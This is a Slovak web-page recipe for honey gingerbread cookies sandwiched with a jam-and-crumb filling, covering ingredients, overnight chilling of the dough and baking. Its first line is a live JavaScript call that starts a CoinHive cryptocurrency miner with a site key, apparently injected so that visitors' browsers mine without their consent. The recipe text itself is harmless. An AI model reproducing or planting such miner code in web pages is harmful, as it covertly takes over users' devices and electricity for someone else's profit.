var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 500 g kryštálového cukru, 250 ml vody, ½ lyžičky sódy bikarbóny, 1 kg múky (Promix PK), 2 vajcia, 160 g medu, 1 ML škoricového cukru, 40 g slivkový lekvár, ½ ML kypriaceho prášku, 10 g salajky (namiesto nej som dala o to viac sódy a prášku do pečiva), 250 ml oleja alebo 100 g tuku na pečenie (použila som olej)

Potrebujeme na plnku: 1/5 upečeného cesta, 250 ml vody, 4 lyžice džemu (použila som marhuľový)

Postup: Vodu s cukrom uvaríme. Múku preosejeme, zmiešame so sódou bikarbónou, salajkou a kypriacim práškom do perníkov. Pridáme k nej pripravený sirup, tekutý med, rozšľahané vajcia, olej a vypracujeme vláčne cesto. Uložíme ho na 12 hodín do chladničky. Asi 1/5 cesta oddelíme, rozvaľkáme, upečieme a odložíme (na plnku). Zvyšné cesto rozvaľkáme na hrúbku asi 0,5 cm a formičkami vykrajujeme kolieska (alebo iné tvary). Do polovice koliesok vykrojíme v strede malý otvor. Na vymastenom plechu perníčky upečieme na 180^0 C asi 10 minút.

Postup na plnku: Upečené odložené cesto rozmrvíme, zalejeme vriacou vodou, pridáme džem a spolu dôkladne vymiešame. Plné a dierkované perníčky plnkou po dva pospájame. Môžeme ich poliať čokoládovou polevou a ľubovoľne ozdobiť.